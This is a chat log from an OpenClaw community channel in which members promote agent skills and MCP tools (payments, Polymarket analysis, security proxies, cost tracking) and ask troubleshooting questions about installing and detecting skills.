You can actually translate/convert skills from any agents like claude code/cursor directly into openclaw format with single command

Try https://agenstskills.com it's open source project as well.

opaque gorge
#

Agent to Agent PoW channels for collab without cloud and free

orchid flare
#

Is there a openclaw codex skill? i want my agent with opus 4.5 to use codex fro some more complex stuff

hoary jackal
#

⚡ Just shipped Lean: The first OpenClaw skill that pays for itself.

Hey everyone, built a tool to solve the "20 Questions" problem with agents.

Problem: "Draft email" → Agent asks 3 questions → You reply 3 times → Tokens wasted.
Solution: Lean intercepts vague prompts, internally restructures them using 5W1H, and asks ONE smart question.

Features:

  • Auto-activates on complex prompts (Code, Email, Decisions)
  • Shows estimated $ savings in real-time
  • Zero config (just a skill file)
  • Multi-language support

Install:
Read https://lean-web-alpha.vercel.app/skill.md

Website: https://lean-web-alpha.vercel.app
GitHub: https://github.com/riffvibe/lean-skill

Feedback welcome! 🙏

mortal fractal
candid moth
#

🦞 PolyVision — Polymarket wallet analysis skill

Built a skill that lets your agent analyze any Polymarket wallet — P&L, risk metrics, trading patterns, red flag detection.

Polymarket's data API is surprisingly annoying to work with (position math, CLOB vs AMM history, merged market handling), so we wrapped all of that into a clean skill your agent can call with just a wallet address.

Been running this as a Telegram bot with ~270 users, packaged the same engine for OpenClaw.

Install: clawhub.ai/pryorx/polyvision

Happy to answer questions on the Polymarket data side if anyone's building in that space. Docs here: https://polyvisionx.com/docs

#

there was a few questions a few days ago but I didn't realize certain trading terms would cause muting so I couldn't respond. But if there's any questions just let me know!

west matrix
tawdry lotus
#

Just published Pipelock as a ClawHub skill: https://clawhub.ai/luckyPipewrench/pipelock

It's a security proxy that sits between your agent and its MCP servers. Scans every JSON-RPC response for prompt injection, credential leaks, and env var exfiltration
before it hits the agent's context window.

Works with any MCP server. You wrap the server command with pipelock mcp proxy, and everything passes through the scanner. Supports block, warn, strip, and
interactive ask modes.

Quick setup:
brew install luckyPipewrench/tap/pipelock
pipelock audit ./your-project

The audit command scans your project, detects what agent and MCP servers you're using, and generates a suggested config with a security score.

Open source, Apache 2.0. and 660+ tests.
GitHub: https://github.com/luckyPipewrench/pipelock

bleak ermine
soft ridge
#

Hey guys,
I am new, just wanted to know how can I integrate and test my tool ? I made a skills. md and uploaded but how to test

orchid flare
tame relic
#

Just shipped JustPayAI MCP Server: 45 tools to let your AI agent hire, pay, and get paid — autonomously.

Hey everyone, built the payment layer for AI agents.

Problem: AI agents can do real work but can't pay each other. Every transaction needs a human in the loop approving payments, handling disputes.
Solution: JustPayAI gives your agent access to a full marketplace — escrow-backed jobs, reputation scoring, campaigns — all via one MCP server.

Features:

  • 45 MCP tools across 7 categories (auth, agents, services, jobs, campaigns, balance, community)
  • Escrow on every job — funds lock on creation, release on delivery
  • Two hire modes: direct hire (instant) or open marketplace (competitive bidding)
  • Campaigns — persistent bounty pools with auto-pay
  • Reputation system tracking completion rate, ratings, disputes
  • Works with Claude Code, Cursor, Windsurf, Cline

Install:
{
"mcpServers": {
"justpayai": {
"command": "npx",
"args": ["-y", "justpayai-mcp-server"],
"env": { "JUSTPAYAI_API_KEY": "jp_your_key" }
}
}
}

npm: https://www.npmjs.com/package/justpayai-mcp-server
Website: https://justpayai.dev
Docs: https://justpayai.dev/docs
GitHub: https://github.com/Nitrotech-app/JustPayAi.dev

Feedback welcome! 🙏

stone mortar
#

updated the Uncle Matt Skill. it helps keep your agent from doing dumb stuff. https://clawhub.ai/uncmatteth/uncle-matt plus it curses at you if you enable the optional voice pack.

Lets the agent call approved external APIs without ever seeing API keys
Forces outbound API calls through a hardened local Broker (mTLS + allowlists + budgets)
Prevents arbitrary URL forwarding, secret exfiltration, and tool abuse```
raw gyro
candid moth
neat ember
#

Does anyone know the skills that are not virus-prone and are official Google Cloud and Google workspace skills?

wintry hollow
strange current
#

Hey everyone,

I built WorthClip (https://worthclip.com), a tool that uses AI to score YouTube videos against your personal learning goals so you only watch what's actually relevant to what you're building and learning. You set up a persona with your role, tech stack, and goals, add channels to track, and every new video gets a 1–10 relevance score with a clear verdict: must watch, worth watching, or skip.

I just shipped two things for the OpenClaw community:

  1. A WorthClip skill on ClawHub — Install it and your OpenClaw agent can score videos, pull your filtered feed, track new channels, and manage your learning goals, all hands-free. No API setup needed.
    → https://clawhub.ai/IvanStancich/worthclip-youtube-video-scorer

  2. A full REST API — If you prefer building your own integrations, the API covers everything: scoring, feed retrieval, channel management, persona/goal updates, and usage tracking.
    → https://www.worthclip.com/developers

Your OpenClaw agent can now do everything you'd normally do in the WorthClip dashboard — keeping your YouTube feed curated while you focus on actual work.
There's a free tier to try it out (3 channels, 20 scores/month).

Would love to hear what you think or how you end up using it with your agents!

winged kiln
#

gm gm - check out this agent wallet skill: https://clawhub.ai/glitch003/agentwallet

it uses a seperate machine to hold private keys where human users can setup polices, like being in the loop for certain txns, limits, etc

vital shale
subtle bronze
#

Hi Team,
What could be the reason for openclaw not to detect a custom skill/Managed/local skill, added into ~/.openclaw/skills?
The SKILL.md is correct, UTF-8, following the required format YAML frontmatter.
I have restarted the openclaw gateway and eveything, if I'm listing all the skills, I am getting only the bundled ones, not this local one that I have added.

Thanks.

hoary jackal
bleak ermine
# subtle bronze Hi Team, What could be the reason for openclaw not to detect a custom skill/Mana...

Had this exact issue before. Few things to check:

  1. Make sure the YAML frontmatter in SKILL.md has the right format — name, description, and version fields are required
  2. The skill folder name needs to match the name field in the frontmatter
  3. Check file permissions — OpenClaw needs read access to the entire skill directory
  4. Try openclaw skills list to see what it detects vs what it skips

Also worth checking: is your ~/.openclaw/skills path correct? Some setups use a different base dir. If you paste your SKILL.md frontmatter here I can take a look.

bleak ermine
# neat ember Does anyone know the skills that are not virus-prone and are official Google Clo...

For Google Workspace, the safest approach is using the official gog skill that ships with OpenClaw — it uses OAuth2 with your own Google credentials and talks directly to Google APIs (Gmail, Calendar, Drive, Contacts, Sheets, Docs). No third-party code touching your data.

For Google Cloud specifically, there isn't an official skill yet but you can use the gcloud CLI directly through OpenClaw's exec tool if you have it installed. Just make sure any third-party skills you install from ClawHub are open source so you can audit what they're doing with your tokens.

deft pond
#

🚨 Bug Alert: outlook skill (v1.3.0) hardcoded timezone

Hey everyone! My agent and I just tracked down a "ghost hour" issue in the outlook skill by @jotamed.

It turns out scripts/outlook-calendar.sh has Europe/Madrid hardcoded into the Prefer: outlook.timezone headers and event creation bodies. This causes incorrect offsets for anyone not in Madrid (we're in EST).

Fix: I manually updated my local copy to America/New_York, which fixed it immediately. It would be great to see this updated to use a variable or the system's local TZ in the next version!

neat pulsar
#

My bot is better than urs 😉 I created them to be as hands-off as possible, so I can focus on what truly matters. The exciting part is that I can simply say, "hey, I've got this domain, nameservers are [whatever], set me up an email account, spin up an http server, and build a solid static site that's fast and secure," and it will just do it. All of it. It sets up the environment, configures the container, manages all the dependencies, links the domain, routes the email, and builds the site. One shot, done.

https://x.com/i/status/2021466044175733036

vestal crowBOT
modest forge
#

I bought that and never got it tho

modern canyon
#

What skill can I use for twitter account? I think bird is removed.

maiden yarrowBOT
#

New MCP integration worth a look: openclaw-mcp-bridge 🧩
https://github.com/gabrielekarra/openclaw-mcp-bridge

It connects multiple MCP servers (GitHub/Notion/custom/etc) and exposes them as one interface.

Two modes:

  • smart (default): avoids “tool spam” by exposing meta-tools (mcp_find_tools → mcp_call_tool) with relevance ranking + optional caching
  • traditional: registers all discovered MCP tools up-front (everything always visible)

Works as an OpenClaw plugin or as a standalone MCP server (e.g. Claude Desktop). Note: not on npm yet — clone + build locally.

thin otter
#

can u guys helmp me how to make my agent pro actif and autonomus
i gave him skills but it doesnt work..

neat ember
neat ember
neat ember
safe frigate
#

Hey there is it possible to let OpenClaw run nodejs?

strange stone
#

Lead gen → website → outreach on autopilot

Scrapes Google Maps, builds each lead a custom AI website, finds their email, sends outreach. One command.

https://openclaw.unloopa.com

tacit dagger
#

is there a way to delete a skill? i was expecting if i replaced it with an update it would override a bad name i had chosen, but it created a new skill entirely - how does a creator entirely 'delete' a created skill? is this possible? if not can it be a feature request, if not installs or downloads have happened. 😿 🦞

jade coyote
#

has anyone done something for using searxng as websearch for openclaw?

shut belfry
tropic hearth
#

Working on a pretty all encompassing cli tool/skill for 3d printing

vital shale
solemn slate
tropic hearth
# solemn slate Interesting. What's it solving for?

End goal is to enable clawd to have full control over my printer, search for 3d files and send prints whenever it/i want

Obviously need a lot of guardrails on search, it’s a WIP, but I’ve already got control over my printer via clawd

solemn slate
#

That sounds fun. Does it know to detect occlusion on the build plate?

I mostly do resin and immediately thought of crushed LCD screens.

#

I'm about to hand it a project to give me a web based STL browser. I keep everything in nextcloud but there's no native STL rendering and the experience sucks. I want immich for STLs.

ashen stump
#

Has anyone configured Vertex?

#

I'm trying to use the $300 free credits in my Google Cloud account but its not natively supported yet

hallow drum
strange narwhal
#

Built a skill that lets your openclaw agent find freelance work and get paid for it. It polls an open job board, matches against your agents tags, and if theres a fit it can auto-propose or just log the match for you to decide.
The payment flow runs through x-402 with escrow so nobody gets screwed — agent delivers, work gets verified, funds release.
Also has a message monitor so your agent can respond to job posters asking questions.
Install: https://clawhub.ai/Chillbruhhh/moltdomesticproduct-sdk
Skill file: https://moltdomesticproduct.com/skill.md
Basically gives your lobster a job while you sleep lol.

bitter sinew
vague flame
#

Open Source MacOS malware and bot protection with Google Authenticator step up for high risk actions like payments and email. Make sure your bot knows it's you making that request via MFA. Protect your bot's SOUL.md

https://feelgoodbot.com

crystal marsh
#

I was looking for a way to share text securely (logs, configs, snippets, secrets, tokens, keys, etc.) without sending it raw in chat, and without needing to open a browser (clientside encryption). I ended up with privatebin and pbcli, so I can share data securely with my agents. Maybe this is something for you, so check it out: https://github.com/f2daz/openclaw-privatebin-skill

cerulean lark
#

Sharing a tool I've been working on: codesession-cli , a Node.js CLI + React dashboard for tracking AI agent session costs.

Stack: TypeScript, SQLite (better-sqlite3, WAL mode), Express 5, React 19 with Recharts. Ships as a single npm package with the dashboard bundled.

Some things that might be useful to others building agent tools:

Built-in pricing table for 17+ models with auto-cost calculation from token counts
Session-scoped git tracking (file changes + commits per session)
Programmatic API for embedding in other tools: session.logAI('anthropic', 'claude-sonnet-4', tokens, cost)
Budget enforcement with configurable limits
npm: npm install -g codesession-cli
GitHub: https://github.com/brian-mwirigi/codesession-cli
Also on ClawHub: brian-mwirigi/codesession

sharp lynx
#

I’m looking for better organization skills. A skill that will keep my agent from losing track of what it was waiting on or doing. For example maybe it submitted a PR, it should be checking if PR has a review or not until it gets merged.

night shale
#

🌱 introducing seedstr

earn passive income with your agent

Humans post prompts with a budget, agents compete to deliver the best response.

install with openclaw or use seed-agent on GitHub
clawhub page: https://clawhub.ai/mastersyondgy/seedstr

How it works

  1. Humans post tasks with budgets (e.g. "Write 10 tweets about tech trends" - $5)
  2. Your agent browses available jobs and complete ones that fit your capabilities
  3. The human reviews responses and picks the best one
  4. You get paid in SOL to your registered wallet

You can fine tune your agent to deliver valuable information and responses to human's prompts and climb to the top. read more about fine-tuning here

pst large $ hackathon coming soon, stay tuned https://seedstr.io

vestal latch
exotic sedge
#

Alguien habla en español?

subtle scaffold
cerulean lark
# subtle scaffold This sounds very good. How does it work in openclaw? Like what do you see?

When you install the codesession skill from ClawHub, the OpenClaw agent automatically picks it up so at the start of every task, the agent runs cs start "task name" --json to begin tracking and then logs each AI call with cs log-ai as it works then the cost is auto-calculated from token counts using built-in pricing . When the task finishes, cs end --json gives you a full summary of the duration, files changed, commits made, and total cost. After a few agent runs, you can open cs dashboard and get a local web app with charts showing your daily spend, model breakdown, cost per session, file hotspots, and activity heatmap. You can see exactly which model or agent is costing you the most and optimize from there.

cerulean lark
thin crow
#

We added skill to access our AI Knowledgebase and RAG with data marketplace skill to clawhub. We have pretty wide features from normal RAG to 1 line chat agent for website to bots etc.
https://clawhub.ai/mregmi/ragora

torn creek
#

are there any recommdnation to create powerpoint? currently i got uv python 3.13 venv and install the pptx python package for powerpoint

silent merlin
#

Does anyone here have a project idea or an ongoing project ?
If you have any difficulties or need a developer, let's talk.

velvet bane
queen creek
queen creek
vestal crowBOT
reef stratus
#

Built something for the agent ecosystem: Agent ELO — an automated reputation system for AI agents.

Agents compete in coding challenges, receive LLM-judged ELO ratings, and build verifiable track records. Like a credit rating agency, but for agent capability.

Current beta has 4 agents, 6 challenges, and full API access. Query any agent's score: GET https://agentelo.xyz/api/scores?agent_name=NAME

Live at https://agentelo.xyz — would love feedback from builders here.

urban gyro
#

Your lobster can earn money while you sleep 🦞💰

  1. Install: https://clawhub.ai/nttylock/citedy-seo-agent
  2. Open account (FREE, NO CARD, 100 credits upfront) at https://www.citedy.com, connect to you social networks (if you want auto posting)

Then you connect lobster to platform in 2 clicks. First content in less than 1 min published on X. (https://youtu.be/18zgltUu1Rs <1 min demo)

Lobster can now →
→ Scouts trending topics on X/Reddit (drop idea)
→ Analyzes competitors, finds content gaps (just tell domains)
→ Writes SEO/GEO articles (you can simply write an idea or share someone else's article or post)
→ Auto-publishes to X, LinkedIn, Shopify (or you own domain or free supplied by Citedy)
→ Adds your ref link to every post (if you want! Just tell this to lobster if you want)
→ If somebody sign up → you earn 30-70% commission, and they extra credits (more info on site)

! No tokens needed to spend from your providers — Citedy handles all the AI. Posting to X/LinkedIn/etc also free of charge.

Install: https://clawhub.ai/nttylock/citedy-seo-agent

clawhub install citedy-seo-agent

How it works: https://www.citedy.com/openclaw + calculator + dashboard

Basically your 🦞lobster got a marketing job lol

DM feedback if any needs/suggestions. Ill try to bring more nice stuff.

warm granite
#

Please do not remove our skills on Clawhub. The skills we submitted are officially provided by Baidu and are currently being used by hundreds of thousands of users online. Kindly contact us before taking any action to remove them.

https://clawhub.ai/ide-rea/baidu-baike-data
https://clawhub.ai/ide-rea/ai-ppt-generator
https://clawhub.ai/ide-rea/baidu-scholar-search-skill
https://clawhub.ai/ide-rea/ai-notes-ofvideo
https://clawhub.ai/ide-rea/ai-picture-book
https://clawhub.ai/ide-rea/baidu-search
https://clawhub.ai/ide-rea/deepresearch-conversation

twilit wing
#

Just published https://www.sundial.md/, it's a hub to share, customize and publish your skills. It also makes it easier for agents to install them. dm me to learn more

torn creek
#

hi all, i'm looking for youtube skill and way to setup my openclaw to transcipt from youtube, i hit the Bot Detection Handling, anyone know similar setup / skill to verycome this?

eternal lichen
#

are we allowed to shill skills here? i built a cool mini tool that might be nice for some operators

wooden vale
#

thank you 🤍

trim lotus
#

What browser and desktop skills do I get?

wispy socket
#

To connect to Google Drive/Docs I just had OpenClaw make his own skill with oauth connection. Once I created the project and oauth it was able to create and uploads docs. Amazing. Just saying you don't have to necessary import 3rd party skills especially if you have security concerns.

sullen pond
#

The HASS Assist one is nice if you dont want your openclaw wasting tokens to simply find and turn off a light XD

#

Yeah when it just used the CLI it did wayyyyy too much to turn off just 1 light 😛

Hass CLI > Turn off Light -> Agent Searches Devices and Entities -> Agent Might Query Status -> Agent turns off Light

Hass Assist > Agent passes your prompt to Hass as a direct command and then assist processes and fuzzy matches for you.

This can sometimes lead to less "smart" home assistant control since fuzzy matching isn't as guaranteed as literally looking up the entities every time. Although I found this skill to be a good way to force yourself to updates Alias's and Entities to fit perfect in your ecosystem for voice agents to control

#

For Reference:
⁨⁨⁨```When Assist Returns an Error
Only if Assist returns an error (response_type: "error"), you can suggest HA-side improvements:

Error Suggestion
no_intent_match "HA didn't recognize that command"
no_valid_targets "Try checking the entity name in HA, or add an alias"
Multiple devices "There may be duplicate names — consider adding unique aliases in HA"
These are suggestions for improving HA config, not skill failures. The skill did its job — it passed the request to Assist.```⁩⁩

marsh oyster
#

i feel like i want something somewhere in between... it's good for the memory of that "head" to exist beyond the session or if the session restarts. but totally separate agents won't know what each other are doing. and having to re-setup all my connections etc also annoying. so there needs to be some hub where a shared understanding can build

vestal latch
tight barn
#

Anyone had luck using this to comment in Facebook groups? Or post?